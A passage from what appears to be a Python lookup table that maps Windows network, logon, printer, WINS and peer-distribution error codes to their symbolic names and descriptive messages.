print processor is not installed.", }, 0x00000884: { "code": "NERR_ServiceTableLocked", "message": "The service database is locked.", }, 0x00000885: { "code": "NERR_ServiceTableFull", "message": "The service table is full.", }, 0x00000886: { "code": "NERR_ServiceInstalled", "message": "The requested service has already been started.", }, 0x00000887: { "code": "NERR_ServiceEntryLocked", "message": "The service does not respond to control actions.", }, 0x00000888: { "code": "NERR_ServiceNotInstalled", "message": "The service has not been started.", }, 0x00000889: { "code": "NERR_BadServiceName", "message": "The service name is invalid.", }, 0x0000088A: { "code": "NERR_ServiceCtlTimeout", "message": "The service is not responding to the control function.", }, 0x0000088B: { "code": "NERR_ServiceCtlBusy", "message": "The service control is busy.", }, 0x0000088C: { "code": "NERR_BadServiceProgName", "message": "The configuration file contains an invalid service program name.", }, 0x0000088D: { "code": "NERR_ServiceNotCtrl", "message": "The service could not be controlled in its present state.", }, 0x0000088E: { "code": "NERR_ServiceKillProc", "message": "The service ended abnormally.", }, 0x0000088F: { "code": "NERR_ServiceCtlNotValid", "message": "The requested pause or stop is not valid for this service.", }, 0x00000890: { "code": "NERR_NotInDispatchTbl", "message": ( "The service control dispatcher could not find the service name in the" " dispatch table." ), }, 0x00000891: { "code": "NERR_BadControlRecv", "message": "The service control dispatcher pipe read failed.", }, 0x00000892: { "code": "NERR_ServiceNotStarting", "message": "A thread for the new service could not be created.", }, 0x00000898: { "code": "NERR_AlreadyLoggedOn", "message": "This workstation is already logged on to the LAN.", }, 0x00000899: { "code": "NERR_NotLoggedOn", "message": "The workstation is not logged on to the LAN.", }, 0x0000089A: { "code": "NERR_BadUsername", "message": "The user name or group name parameter is invalid.", }, 0x0000089B: { "code": "NERR_BadPassword", "message": "The password parameter is invalid.", }, 0x0000089C: { "code": "NERR_UnableToAddName_W", "message": "The logon processor did not add the message alias.", }, 0x0000089D: { "code": "NERR_UnableToAddName_F", "message": "The logon processor did not add the message alias.", }, 0x0000089E: { "code": "NERR_UnableToDelName_W", "message": "The logoff processor did not delete the message alias.", }, 0x0000089F: { "code": "NERR_UnableToDelName_F", "message": "The logoff processor did not delete the message alias.", }, 0x000008A1: {"code": "NERR_LogonsPaused", "message": "Network logons are paused."}, 0x000008A2: { "code": "NERR_LogonServerConflict", "message": "A centralized logon server conflict occurred.", }, 0x000008A3: { "code": "NERR_LogonNoUserPath", "message": "The server is configured without a valid user path.", }, 0x000008A4: { "code": "NERR_LogonScriptError", "message": "An error occurred while loading or running the logon script.", }, 0x000008A6: { "code": "NERR_StandaloneLogon", "message": ( "The logon server was not specified. The computer will be logged on as" " STANDALONE." ), }, 0x000008A7: { "code": "NERR_LogonServerNotFound", "message": "The logon server could not be found.", }, 0x000008A8: { "code": "NERR_LogonDomainExists", "message": "There is already a logon domain for this computer.", }, 0x000008A9: { "code": "NERR_NonValidatedLogon", "message": "The logon server could not validate the logon.", }, 0x000008AB: { "code": "NERR_ACFNotFound", "message": "The security database could not be found.", }, 0x000008AC: { "code": "NERR_GroupNotFound", "message": "The group name could not be found.", }, 0x000008AD: { "code": "NERR_UserNotFound", "message": "The user name could not be found.", }, 0x000008AE: { "code": "NERR_ResourceNotFound", "message": "The resource name could not be found.", }, 0x000008AF: {"code": "NERR_GroupExists", "message": "The group already exists."}, 0x000008B0: { "code": "NERR_UserExists", "message": "The user account already exists.", }, 0x000008B1: { "code": "NERR_ResourceExists", "message": "The resource permission list already exists.", }, 0x000008B2: { "code": "NERR_NotPrimary", "message": "This operation is allowed only on the PDC of the domain.", }, 0x000008B3: { "code": "NERR_ACFNotLoaded", "message": "The security database has not been started.", }, 0x000008B4: { "code": "NERR_ACFNoRoom", "message": "There are too many names in the user accounts database.", }, 0x000008B5: { "code": "NERR_ACFFileIOFail", "message": "A disk I/O failure occurred.", }, 0x000008B6: { "code": "NERR_ACFTooManyLists", "message": "The limit of 64 entries per resource was exceeded.", }, 0x000008B7: { "code": "NERR_UserLogon", "message": "Deleting a user with a session is not allowed.", }, 0x000008B8: { "code": "NERR_ACFNoParent", "message": "The parent directory could not be located.", }, 0x000008B9: { "code": "NERR_CanNotGrowSegment", "message": "Unable to add to the security database session cache segment.", }, 0x000008BA: { "code": "NERR_SpeGroupOp", "message": "This operation is not allowed on this special group.", }, 0x000008BB: { "code": "NERR_NotInCache", "message": ( "This user is not cached in the user accounts database session cache." ), }, 0x000008BC: { "code": "NERR_UserInGroup", "message": "The user already belongs to this group.", }, 0x000008BD: { "code": "NERR_UserNotInGroup", "message": "The user does not belong to this group.", }, 0x000008BE: { "code": "NERR_AccountUndefined", "message": "This user account is undefined.", }, 0x000008BF: { "code": "NERR_AccountExpired", "message": "This user account has expired.", }, 0x000008C0: { "code": "NERR_InvalidWorkstation", "message": "The user is not allowed to log on from this workstation.", }, 0x000008C1: { "code": "NERR_InvalidLogonHours", "message": "The user is not allowed to log on at this time.", }, 0x000008C2: { "code": "NERR_PasswordExpired", "message": "The password of this user has expired.", }, 0x000008C3: { "code": "NERR_PasswordCantChange", "message": "The password of this user cannot change.", }, 0x000008C4: { "code": "NERR_PasswordHistConflict", "message": "This password cannot be used now.", }, 0x000008C5: { "code": "NERR_PasswordTooShort", "message": ( "The password does not meet the password policy requirements. Check the" " minimum password length, password complexity, and password history" " requirements." ), }, 0x000008C6: { "code": "NERR_PasswordTooRecent", "message": "The password of this user is too recent to change.", }, 0x000008C7: { "code": "NERR_InvalidDatabase", "message": "The security database is corrupted.", }, 0x000008C8: { "code": "NERR_DatabaseUpToDate", "message": ( "No updates are necessary to this replicant network or local security" " database." ), }, 0x000008C9: { "code": "NERR_SyncRequired", "message": "This replicant database is outdated; synchronization is required.", }, 0x000008CA: { "code": "NERR_UseNotFound", "message": "The network connection could not be found.", }, 0x000008CB: {"code": "NERR_BadAsgType", "message": "This asg_type is invalid."}, 0x000008CC: { "code": "NERR_DeviceIsShared", "message": "This device is currently being shared.", }, 0x000008DE: { "code": "NERR_NoComputerName", "message": ( "The computer name could not be added as a message alias. The name might" " already exist on the network." ), }, 0x000008DF: { "code": "NERR_MsgAlreadyStarted", "message": "The Messenger service is already started.", }, 0x000008E0: { "code": "NERR_MsgInitFailed", "message": "The Messenger service failed to start.", }, 0x000008E1: { "code": "NERR_NameNotFound", "message": "The message alias could not be found on the network.", }, 0x000008E2: { "code": "NERR_AlreadyForwarded", "message": "This message alias has already been forwarded.", }, 0x000008E3: { "code": "NERR_AddForwarded", "message": "This message alias has been added but is still forwarded.", }, 0x000008E4: { "code": "NERR_AlreadyExists", "message": "This message alias already exists locally.", }, 0x000008E5: { "code": "NERR_TooManyNames", "message": "The maximum number of added message aliases has been exceeded.", }, 0x000008E6: { "code": "NERR_DelComputerName", "message": "The computer name could not be deleted.", }, 0x000008E7: { "code": "NERR_LocalForward", "message": "Messages cannot be forwarded back to the same workstation.", }, 0x000008E8: { "code": "NERR_GrpMsgProcessor", "message": "An error occurred in the domain message processor.", }, 0x000008E9: { "code": "NERR_PausedRemote", "message": ( "The message was sent, but the recipient has paused the Messenger service." ), }, 0x000008EA: { "code": "NERR_BadReceive", "message": "The message was sent but not received.", }, 0x000008EB: { "code": "NERR_NameInUse", "message": "The message alias is currently in use. Try again later.", }, 0x000008EC: { "code": "NERR_MsgNotStarted", "message": "The Messenger service has not been started.", }, 0x000008ED: { "code": "NERR_NotLocalName", "message": "The name is not on the local computer.", }, 0x000008EE: { "code": "NERR_NoForwardName", "message": "The forwarded message alias could not be found on the network.", }, 0x000008EF: { "code": "NERR_RemoteFull", "message": "The message alias table on the remote station is full.", }, 0x000008F0: { "code": "NERR_NameNotForwarded", "message": "Messages for this alias are not currently being forwarded.", }, 0x000008F1: { "code": "NERR_TruncatedBroadcast", "message": "The broadcast message was truncated.", }, 0x000008F6: { "code": "NERR_InvalidDevice", "message": "This is an invalid device name.", }, 0x000008F7: {"code": "NERR_WriteFault", "message": "A write fault occurred."}, 0x000008F9: { "code": "NERR_DuplicateName", "message": "A duplicate message alias exists on the network.", }, 0x000008FA: { "code": "NERR_DeleteLater", "message": "This message alias will be deleted later.", }, 0x000008FB: { "code": "NERR_IncompleteDel", "message": "The message alias was not successfully deleted from all networks.", }, 0x000008FC: { "code": "NERR_MultipleNets", "message": ( "This operation is not supported on computers with multiple networks." ), }, 0x00000906: { "code": "NERR_NetNameNotFound", "message": "This shared resource does not exist.", }, 0x00000907: { "code": "NERR_DeviceNotShared", "message": "This device is not shared.", }, 0x00000908: { "code": "NERR_ClientNameNotFound", "message": "A session does not exist with that computer name.", }, 0x0000090A: { "code": "NERR_FileIdNotFound", "message": "There is not an open file with that identification number.", }, 0x0000090B: { "code": "NERR_ExecFailure", "message": "A failure occurred when executing a remote administration command.", }, 0x0000090C: { "code": "NERR_TmpFile", "message": "A failure occurred when opening a remote temporary file.", }, 0x0000090D: { "code": "NERR_TooMuchData", "message": ( "The data returned from a remote administration command has been truncated" " to 64 KB." ), }, 0x0000090E: { "code": "NERR_DeviceShareConflict", "message": ( "This device cannot be shared as both a spooled and a nonspooled resource." ), }, 0x0000090F: { "code": "NERR_BrowserTableIncomplete", "message": "The information in the list of servers might be incorrect.", }, 0x00000910: { "code": "NERR_NotLocalDomain", "message": "The computer is not active in this domain.", }, 0x00000911: { "code": "NERR_IsDfsShare", "message": ( "The share must be removed from the Distributed File System (DFS) before it" " can be deleted." ), }, 0x0000091B: { "code": "NERR_DevInvalidOpCode", "message": "The operation is invalid for this device.", }, 0x0000091C: { "code": "NERR_DevNotFound", "message": "This device cannot be shared.", }, 0x0000091D: {"code": "NERR_DevNotOpen", "message": "This device was not open."}, 0x0000091E: { "code": "NERR_BadQueueDevString", "message": "This device name list is invalid.", }, 0x0000091F: { "code": "NERR_BadQueuePriority", "message": "The queue priority is invalid.", }, 0x00000921: { "code": "NERR_NoCommDevs", "message": "There are no shared communication devices.", }, 0x00000922: { "code": "NERR_QueueNotFound", "message": "The queue you specified does not exist.", }, 0x00000924: { "code": "NERR_BadDevString", "message": "This list of devices is invalid.", }, 0x00000925: {"code": "NERR_BadDev", "message": "The requested device is invalid."}, 0x00000926: { "code": "NERR_InUseBySpooler", "message": "This device is already in use by the spooler.", }, 0x00000927: { "code": "NERR_CommDevInUse", "message": "This device is already in use as a communication device.", }, 0x0000092F: { "code": "NERR_InvalidComputer", "message": "This computer name is invalid.", }, 0x00000932: { "code": "NERR_MaxLenExceeded", "message": "The string and prefix specified are too long.", }, 0x00000934: { "code": "NERR_BadComponent", "message": "This path component is invalid.", }, 0x00000935: { "code": "NERR_CantType", "message": "Could not determine the type of input.", }, 0x0000093A: { "code": "NERR_TooManyEntries", "message": "The buffer for types is not big enough.", }, 0x00000942: { "code": "NERR_ProfileFileTooBig", "message": "Profile files cannot exceed 64 KB.", }, 0x00000943: { "code": "NERR_ProfileOffset", "message": "The start offset is out of range.", }, 0x00000944: { "code": "NERR_ProfileCleanup", "message": "The system cannot delete current connections to network resources.", }, 0x00000945: { "code": "NERR_ProfileUnknownCmd", "message": "The system was unable to parse the command line in this file.", }, 0x00000946: { "code": "NERR_ProfileLoadErr", "message": "An error occurred while loading the profile file.", }, 0x00000947: { "code": "NERR_ProfileSaveErr", "message": ( "Errors occurred while saving the profile file. The profile was partially" " saved." ), }, 0x00000949: {"code": "NERR_LogOverflow", "message": "Log file %1 is full."}, 0x0000094A: { "code": "NERR_LogFileChanged", "message": "This log file has changed between reads.", }, 0x0000094B: {"code": "NERR_LogFileCorrupt", "message": "Log file %1 is corrupt."}, 0x0000094C: { "code": "NERR_SourceIsDir", "message": "The source path cannot be a directory.", }, 0x0000094D: {"code": "NERR_BadSource", "message": "The source path is illegal."}, 0x0000094E: {"code": "NERR_BadDest", "message": "The destination path is illegal."}, 0x0000094F: { "code": "NERR_DifferentServers", "message": "The source and destination paths are on different servers.", }, 0x00000951: { "code": "NERR_RunSrvPaused", "message": "The Run server you requested is paused.", }, 0x00000955: { "code": "NERR_ErrCommRunSrv", "message": "An error occurred when communicating with a Run server.", }, 0x00000957: { "code": "NERR_ErrorExecingGhost", "message": "An error occurred when starting a background process.", }, 0x00000958: { "code": "NERR_ShareNotFound", "message": "The shared resource you are connected to could not be found.", }, 0x00000960: { "code": "NERR_InvalidLana", "message": "The LAN adapter number is invalid.", }, 0x00000961: { "code": "NERR_OpenFiles", "message": "There are open files on the connection.", }, 0x00000962: { "code": "NERR_ActiveConns", "message": "Active connections still exist.", }, 0x00000963: { "code": "NERR_BadPasswordCore", "message": "This share name or password is invalid.", }, 0x00000964: { "code": "NERR_DevInUse", "message": "The device is being accessed by an active process.", }, 0x00000965: { "code": "NERR_LocalDrive", "message": "The drive letter is in use locally.", }, 0x0000097E: { "code": "NERR_AlertExists", "message": ( "The specified client is already registered for the specified event." ), }, 0x0000097F: {"code": "NERR_TooManyAlerts", "message": "The alert table is full."}, 0x00000980: { "code": "NERR_NoSuchAlert", "message": "An invalid or nonexistent alert name was raised.", }, 0x00000981: { "code": "NERR_BadRecipient", "message": "The alert recipient is invalid.", }, 0x00000982: { "code": "NERR_AcctLimitExceeded", "message": "A user's session with this server has been deleted.", }, 0x00000988: { "code": "NERR_InvalidLogSeek", "message": "The log file does not contain the requested record number.", }, 0x00000992: { "code": "NERR_BadUasConfig", "message": "The user accounts database is not configured correctly.", }, 0x00000993: { "code": "NERR_InvalidUASOp", "message": ( "This operation is not permitted when the Net Logon service is running." ), }, 0x00000994: { "code": "NERR_LastAdmin", "message": "This operation is not allowed on the last administrative account.", }, 0x00000995: { "code": "NERR_DCNotFound", "message": "Could not find the domain controller for this domain.", }, 0x00000996: { "code": "NERR_LogonTrackingError", "message": "Could not set logon information for this user.", }, 0x00000997: { "code": "NERR_NetlogonNotStarted", "message": "The Net Logon service has not been started.", }, 0x00000998: { "code": "NERR_CanNotGrowUASFile", "message": "Unable to add to the user accounts database.", }, 0x00000999: { "code": "NERR_TimeDiffAtDC", "message": "This server's clock is not synchronized with the PDC's clock.", }, 0x0000099A: { "code": "NERR_PasswordMismatch", "message": "A password mismatch has been detected.", }, 0x0000099C: { "code": "NERR_NoSuchServer", "message": "The server identification does not specify a valid server.", }, 0x0000099D: { "code": "NERR_NoSuchSession", "message": "The session identification does not specify a valid session.", }, 0x0000099E: { "code": "NERR_NoSuchConnection", "message": "The connection identification does not specify a valid connection.", }, 0x0000099F: { "code": "NERR_TooManyServers", "message": ( "There is no space for another entry in the table of available servers." ), }, 0x000009A0: { "code": "NERR_TooManySessions", "message": "The server has reached the maximum number of sessions it supports.", }, 0x000009A1: { "code": "NERR_TooManyConnections", "message": ( "The server has reached the maximum number of connections it supports." ), }, 0x000009A2: { "code": "NERR_TooManyFiles", "message": ( "The server cannot open more files because it has reached its maximum" " number." ), }, 0x000009A3: { "code": "NERR_NoAlternateServers", "message": "There are no alternate servers registered on this server.", }, 0x000009A6: { "code": "NERR_TryDownLevel", "message": "Try the down-level (remote admin protocol) version of API instead.", }, 0x000009B0: { "code": "NERR_UPSDriverNotStarted", "message": ( "The uninterruptible power supply (UPS) driver could not be accessed by the" " UPS service." ), }, 0x000009B1: { "code": "NERR_UPSInvalidConfig", "message": "The UPS service is not configured correctly.", }, 0x000009B2: { "code": "NERR_UPSInvalidCommPort", "message": "The UPS service could not access the specified Comm Port.", }, 0x000009B3: { "code": "NERR_UPSSignalAsserted", "message": ( "The UPS indicated a line fail or low battery situation. Service not" " started." ), }, 0x000009B4: { "code": "NERR_UPSShutdownFailed", "message": "The UPS service failed to perform a system shut down.", }, 0x000009C4: { "code": "NERR_BadDosRetCode", "message": "The program below returned an MS-DOS error code.", }, 0x000009C5: { "code": "NERR_ProgNeedsExtraMem", "message": "The program below needs more memory.", }, 0x000009C6: { "code": "NERR_BadDosFunction", "message": "The program below called an unsupported MS-DOS function.", }, 0x000009C7: { "code": "NERR_RemoteBootFailed", "message": "The workstation failed to boot.", }, 0x000009C8: { "code": "NERR_BadFileCheckSum", "message": "The file below is corrupt.", }, 0x000009C9: { "code": "NERR_NoRplBootSystem", "message": "No loader is specified in the boot-block definition file.", }, 0x000009CA: { "code": "NERR_RplLoadrNetBiosErr", "message": ( "NetBIOS returned an error: The network control blocks (NCBs) and Server" " Message Block (SMB) are dumped above." ), }, 0x000009CB: { "code": "NERR_RplLoadrDiskErr", "message": "A disk I/O error occurred.", }, 0x000009CC: { "code": "NERR_ImageParamErr", "message": "Image parameter substitution failed.", }, 0x000009CD: { "code": "NERR_TooManyImageParams", "message": "Too many image parameters cross disk sector boundaries.", }, 0x000009CE: { "code": "NERR_NonDosFloppyUsed", "message": "The image was not generated from an MS-DOS disk formatted with /S.", }, 0x000009CF: { "code": "NERR_RplBootRestart", "message": "Remote boot will be restarted later.", }, 0x000009D0: { "code": "NERR_RplSrvrCallFailed", "message": "The call to the Remoteboot server failed.", }, 0x000009D1: { "code": "NERR_CantConnectRplSrvr", "message": "Cannot connect to the Remoteboot server.", }, 0x000009D2: { "code": "NERR_CantOpenImageFile", "message": "Cannot open image file on the Remoteboot server.", }, 0x000009D3: { "code": "NERR_CallingRplSrvr", "message": "Connecting to the Remoteboot server.", }, 0x000009D4: { "code": "NERR_StartingRplBoot", "message": "Connecting to the Remoteboot server.", }, 0x000009D5: { "code": "NERR_RplBootServiceTerm", "message": ( "Remote boot service was stopped, check the error log for the cause of the" " problem." ), }, 0x000009D6: { "code": "NERR_RplBootStartFailed", "message": ( "Remote boot startup failed; check the error log for the cause of the" " problem." ), }, 0x000009D7: { "code": "NERR_RPL_CONNECTED", "message": "A second connection to a Remoteboot resource is not allowed.", }, 0x000009F6: { "code": "NERR_BrowserConfiguredToNotRun", "message": "The browser service was configured with MaintainServerList=No.", }, 0x00000A32: { "code": "NERR_RplNoAdaptersStarted", "message": ( "Service failed to start because none of the network adapters started with" " this service." ), }, 0x00000A33: { "code": "NERR_RplBadRegistry", "message": ( "Service failed to start due to bad startup information in the registry." ), }, 0x00000A34: { "code": "NERR_RplBadDatabase", "message": "Service failed to start because its database is absent or corrupt.", }, 0x00000A35: { "code": "NERR_RplRplfilesShare", "message": "Service failed to start because the RPLFILES share is absent.", }, 0x00000A36: { "code": "NERR_RplNotRplServer", "message": "Service failed to start because the RPLUSER group is absent.", }, 0x00000A37: { "code": "NERR_RplCannotEnum", "message": "Cannot enumerate service records.", }, 0x00000A38: { "code": "NERR_RplWkstaInfoCorrupted", "message": "Workstation record information has been corrupted.", }, 0x00000A39: { "code": "NERR_RplWkstaNotFound", "message": "Workstation record was not found.", }, 0x00000A3A: { "code": "NERR_RplWkstaNameUnavailable", "message": "Workstation name is in use by some other workstation.", }, 0x00000A3B: { "code": "NERR_RplProfileInfoCorrupted", "message": "Profile record information has been corrupted.", }, 0x00000A3C: { "code": "NERR_RplProfileNotFound", "message": "Profile record was not found.", }, 0x00000A3D: { "code": "NERR_RplProfileNameUnavailable", "message": "Profile name is in use by some other profile.", }, 0x00000A3E: { "code": "NERR_RplProfileNotEmpty", "message": "There are workstations using this profile.", }, 0x00000A3F: { "code": "NERR_RplConfigInfoCorrupted", "message": "Configuration record information has been corrupted.", }, 0x00000A40: { "code": "NERR_RplConfigNotFound", "message": "Configuration record was not found.", }, 0x00000A41: { "code": "NERR_RplAdapterInfoCorrupted", "message": "Adapter ID record information has been corrupted.", }, 0x00000A42: { "code": "NERR_RplInternal", "message": "An internal service error has occurred.", }, 0x00000A43: { "code": "NERR_RplVendorInfoCorrupted", "message": "Vendor ID record information has been corrupted.", }, 0x00000A44: { "code": "NERR_RplBootInfoCorrupted", "message": "Boot block record information has been corrupted.", }, 0x00000A45: { "code": "NERR_RplWkstaNeedsUserAcct", "message": "The user account for this workstation record is missing.", }, 0x00000A46: { "code": "NERR_RplNeedsRPLUSERAcct", "message": "The RPLUSER local group could not be found.", }, 0x00000A47: { "code": "NERR_RplBootNotFound", "message": "Boot block record was not found.", }, 0x00000A48: { "code": "NERR_RplIncompatibleProfile", "message": "Chosen profile is incompatible with this workstation.", }, 0x00000A49: { "code": "NERR_RplAdapterNameUnavailable", "message": "Chosen network adapter ID is in use by some other workstation.", }, 0x00000A4A: { "code": "NERR_RplConfigNotEmpty", "message": "There are profiles using this configuration.", }, 0x00000A4B: { "code": "NERR_RplBootInUse", "message": ( "There are workstations, profiles, or configurations using this boot block." ), }, 0x00000A4C: { "code": "NERR_RplBackupDatabase", "message": "Service failed to back up the Remoteboot database.", }, 0x00000A4D: { "code": "NERR_RplAdapterNotFound", "message": "Adapter record was not found.", }, 0x00000A4E: { "code": "NERR_RplVendorNotFound", "message": "Vendor record was not found.", }, 0x00000A4F: { "code": "NERR_RplVendorNameUnavailable", "message": "Vendor name is in use by some other vendor record.", }, 0x00000A50: { "code": "NERR_RplBootNameUnavailable", "message": ( "The boot name or vendor ID is in use by some other boot block record." ), }, 0x00000A51: { "code": "NERR_RplConfigNameUnavailable", "message": "The configuration name is in use by some other configuration.", }, 0x00000A64: { "code": "NERR_DfsInternalCorruption", "message": "The internal database maintained by the DFS service is corrupt.", }, 0x00000A65: { "code": "NERR_DfsVolumeDataCorrupt", "message": "One of the records in the internal DFS database is corrupt.", }, 0x00000A66: { "code": "NERR_DfsNoSuchVolume", "message": ( "There is no DFS name whose entry path matches the input entry path." ), }, 0x00000A67: { "code": "NERR_DfsVolumeAlreadyExists", "message": "A root or link with the given name already exists.", }, 0x00000A68: { "code": "NERR_DfsAlreadyShared", "message": "The server share specified is already shared in the DFS.", }, 0x00000A69: { "code": "NERR_DfsNoSuchShare", "message": ( "The indicated server share does not support the indicated DFS namespace." ), }, 0x00000A6A: { "code": "NERR_DfsNotALeafVolume", "message": "The operation is not valid in this portion of the namespace.", }, 0x00000A6B: { "code": "NERR_DfsLeafVolume", "message": "The operation is not valid in this portion of the namespace.", }, 0x00000A6C: { "code": "NERR_DfsVolumeHasMultipleServers", "message": "The operation is ambiguous because the link has multiple servers.", }, 0x00000A6D: { "code": "NERR_DfsCantCreateJunctionPoint", "message": "Unable to create a link.", }, 0x00000A6E: { "code": "NERR_DfsServerNotDfsAware", "message": "The server is not DFS-aware.", }, 0x00000A6F: { "code": "NERR_DfsBadRenamePath", "message": "The specified rename target path is invalid.", }, 0x00000A70: { "code": "NERR_DfsVolumeIsOffline", "message": "The specified DFS link is offline.", }, 0x00000A71: { "code": "NERR_DfsNoSuchServer", "message": "The specified server is not a server for this link.", }, 0x00000A72: { "code": "NERR_DfsCyclicalName", "message": "A cycle in the DFS name was detected.", }, 0x00000A73: { "code": "NERR_DfsNotSupportedInServerDfs", "message": "The operation is not supported on a server-based DFS.", }, 0x00000A74: { "code": "NERR_DfsDuplicateService", "message": "This link is already supported by the specified server share.", }, 0x00000A75: { "code": "NERR_DfsCantRemoveLastServerShare", "message": "Cannot remove the last server share supporting this root or link.", }, 0x00000A76: { "code": "NERR_DfsVolumeIsInterDfs", "message": "The operation is not supported for an inter-DFS link.", }, 0x00000A77: { "code": "NERR_DfsInconsistent", "message": "The internal state of the DFS Service has become inconsistent.", }, 0x00000A78: { "code": "NERR_DfsServerUpgraded", "message": "The DFS Service has been installed on the specified server.", }, 0x00000A79: { "code": "NERR_DfsDataIsIdentical", "message": "The DFS data being reconciled is identical.", }, 0x00000A7A: { "code": "NERR_DfsCantRemoveDfsRoot", "message": "The DFS root cannot be deleted. Uninstall DFS if required.", }, 0x00000A7B: { "code": "NERR_DfsChildOrParentInDfs", "message": "A child or parent directory of the share is already in a DFS.", }, 0x00000A82: {"code": "NERR_DfsInternalError", "message": "DFS internal error."}, 0x00000A83: { "code": "NERR_SetupAlreadyJoined", "message": "This machine is already joined to a domain.", }, 0x00000A84: { "code": "NERR_SetupNotJoined", "message": "This machine is not currently joined to a domain.", }, 0x00000A85: { "code": "NERR_SetupDomainController", "message": ( "This machine is a domain controller and cannot be unjoined from a domain." ), }, 0x00000A86: { "code": "NERR_DefaultJoinRequired", "message": ( "The destination domain controller does not support creating machine" " accounts in organizational units (OUs)." ), }, 0x00000A87: { "code": "NERR_InvalidWorkgroupName", "message": "The specified workgroup name is invalid.", }, 0x00000A88: { "code": "NERR_NameUsesIncompatibleCodePage", "message": ( "The specified computer name is incompatible with the default language used" " on the domain controller." ), }, 0x00000A89: { "code": "NERR_ComputerAccountNotFound", "message": "The specified computer account could not be found.", }, 0x00000A8A: { "code": "NERR_PersonalSku", "message": "This version of Windows cannot be joined to a domain.", }, 0x00000A8D: { "code": "NERR_PasswordMustChange", "message": "The password must change at the next logon.", }, 0x00000A8E: { "code": "NERR_AccountLockedOut", "message": "The account is locked out.", }, 0x00000A8F: { "code": "NERR_PasswordTooLong", "message": "The password is too long.", }, 0x00000A90: { "code": "NERR_PasswordNotComplexEnough", "message": "The password does not meet the complexity policy.", }, 0x00000A91: { "code": "NERR_PasswordFilterError", "message": ( "The password does not meet the requirements of the password filter DLLs." ), }, 0x00000BB8: { "code": "ERROR_UNKNOWN_PRINT_MONITOR", "message": "The specified print monitor is unknown.", }, 0x00000BB9: { "code": "ERROR_PRINTER_DRIVER_IN_USE", "message": "The specified printer driver is currently in use.", }, 0x00000BBA: { "code": "ERROR_SPOOL_FILE_NOT_FOUND", "message": "The spool file was not found.", }, 0x00000BBB: { "code": "ERROR_SPL_NO_STARTDOC", "message": "A StartDocPrinter call was not issued.", }, 0x00000BBC: { "code": "ERROR_SPL_NO_ADDJOB", "message": "An AddJob call was not issued.", }, 0x00000BBD: { "code": "ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED", "message": "The specified print processor has already been installed.", }, 0x00000BBE: { "code": "ERROR_PRINT_MONITOR_ALREADY_INSTALLED", "message": "The specified print monitor has already been installed.", }, 0x00000BBF: { "code": "ERROR_INVALID_PRINT_MONITOR", "message": "The specified print monitor does not have the required functions.", }, 0x00000BC0: { "code": "ERROR_PRINT_MONITOR_IN_USE", "message": "The specified print monitor is currently in use.", }, 0x00000BC1: { "code": "ERROR_PRINTER_HAS_JOBS_QUEUED", "message": ( "The requested operation is not allowed when there are jobs queued to the" " printer." ), }, 0x00000BC2: { "code": "ERROR_SUCCESS_REBOOT_REQUIRED", "message": ( "The requested operation is successful. Changes will not be effective until" " the system is rebooted." ), }, 0x00000BC3: { "code": "ERROR_SUCCESS_RESTART_REQUIRED", "message": ( "The requested operation is successful. Changes will not be effective until" " the service is restarted." ), }, 0x00000BC4: { "code": "ERROR_PRINTER_NOT_FOUND", "message": "No printers were found.", }, 0x00000BC5: { "code": "ERROR_PRINTER_DRIVER_WARNED", "message": "The printer driver is known to be unreliable.", }, 0x00000BC6: { "code": "ERROR_PRINTER_DRIVER_BLOCKED", "message": "The printer driver is known to harm the system.", }, 0x00000BC7: { "code": "ERROR_PRINTER_DRIVER_PACKAGE_IN_USE", "message": "The specified printer driver package is currently in use.", }, 0x00000BC8: { "code": "ERROR_CORE_DRIVER_PACKAGE_NOT_FOUND", "message": ( "Unable to find a core driver package that is required by the printer" " driver package." ), }, 0x00000BC9: { "code": "ERROR_FAIL_REBOOT_REQUIRED", "message": ( "The requested operation failed. A system reboot is required to roll back" " changes made." ), }, 0x00000BCA: { "code": "ERROR_FAIL_REBOOT_INITIATED", "message": ( "The requested operation failed. A system reboot has been initiated to roll" " back changes made." ), }, 0x00000BCB: { "code": "ERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED", "message": ( "The specified printer driver was not found on the system and needs to be" " downloaded." ), }, 0x00000BCE: { "code": "ERROR_PRINTER_NOT_SHAREABLE", "message": "The specified printer cannot be shared.", }, 0x00000F6E: { "code": "ERROR_IO_REISSUE_AS_CACHED", "message": "Reissue the given operation as a cached I/O operation.", }, 0x00000FA0: { "code": "ERROR_WINS_INTERNAL", "message": ( "Windows Internet Name Service (WINS) encountered an error while processing" " the command." ), }, 0x00000FA1: { "code": "ERROR_CAN_NOT_DEL_LOCAL_WINS", "message": "The local WINS cannot be deleted.", }, 0x00000FA2: { "code": "ERROR_STATIC_INIT", "message": "The importation from the file failed.", }, 0x00000FA3: { "code": "ERROR_INC_BACKUP", "message": "The backup failed. Was a full backup done before?", }, 0x00000FA4: { "code": "ERROR_FULL_BACKUP", "message": ( "The backup failed. Check the directory to which you are backing the" " database." ), }, 0x00000FA5: { "code": "ERROR_REC_NON_EXISTENT", "message": "The name does not exist in the WINS database.", }, 0x00000FA6: { "code": "ERROR_RPL_NOT_ALLOWED", "message": "Replication with a nonconfigured partner is not allowed.", }, 0x00000FD2: { "code": "PEERDIST_ERROR_CONTENTINFO_VERSION_UNSUPPORTED", "message": "The version of the supplied content information is not supported.", }, 0x00000FD3: { "code": "PEERDIST_ERROR_CANNOT_PARSE_CONTENTINFO", "message": "The supplied content information is malformed.", }, 0x00000FD4: { "code": "PEERDIST_ERROR_MISSING_DATA", "message": "The requested data cannot be found in local or peer caches.", }, 0x00000FD5: { "code": "PEERDIST_ERROR_NO_MORE", "message": "No more data is available or required.", }, 0x00000FD6: { "code": "PEERDIST_ERROR_NOT_INITIALIZED", "message": "The supplied object has not been initialized.", }, 0x00000FD7: { "code": "PEERDIST_ERROR_ALREADY_INITIALIZED", "message": "The supplied object has already been initialized.", }, 0x00000FD8: { "code": "PEERDIST_ERROR_SHUTDOWN_IN_PROGRESS", "message": "A shutdown operation is already in progress.", }, 0x00000FD9: { "code": "PEERDIST_ERROR_INVALIDATED", "message": "The supplied object has already been invalidated.", }, 0x00000FDA: { "code": "PEERDIST_ERROR_ALREADY_EXISTS", "message": "An element already exists and was not replaced.", }, 0x00000FDB: { "code": "PEERDIST_ERROR_OPERATION_NOTFOUND", "message": ( "Cannot cancel the requested operation as it has already been completed." ), }, 0x00000FDC: { "code": "PEERDIST_ERROR_ALREADY_COMPLETED", "message": ( "Cannot perform the requested operation because it has already been carried" " out." ), }, 0x00000FDD: { "code": "PEERDIST_ERROR_OUT_OF_BOUNDS", "message": "An operation accessed data beyond the bounds of valid data.", }, 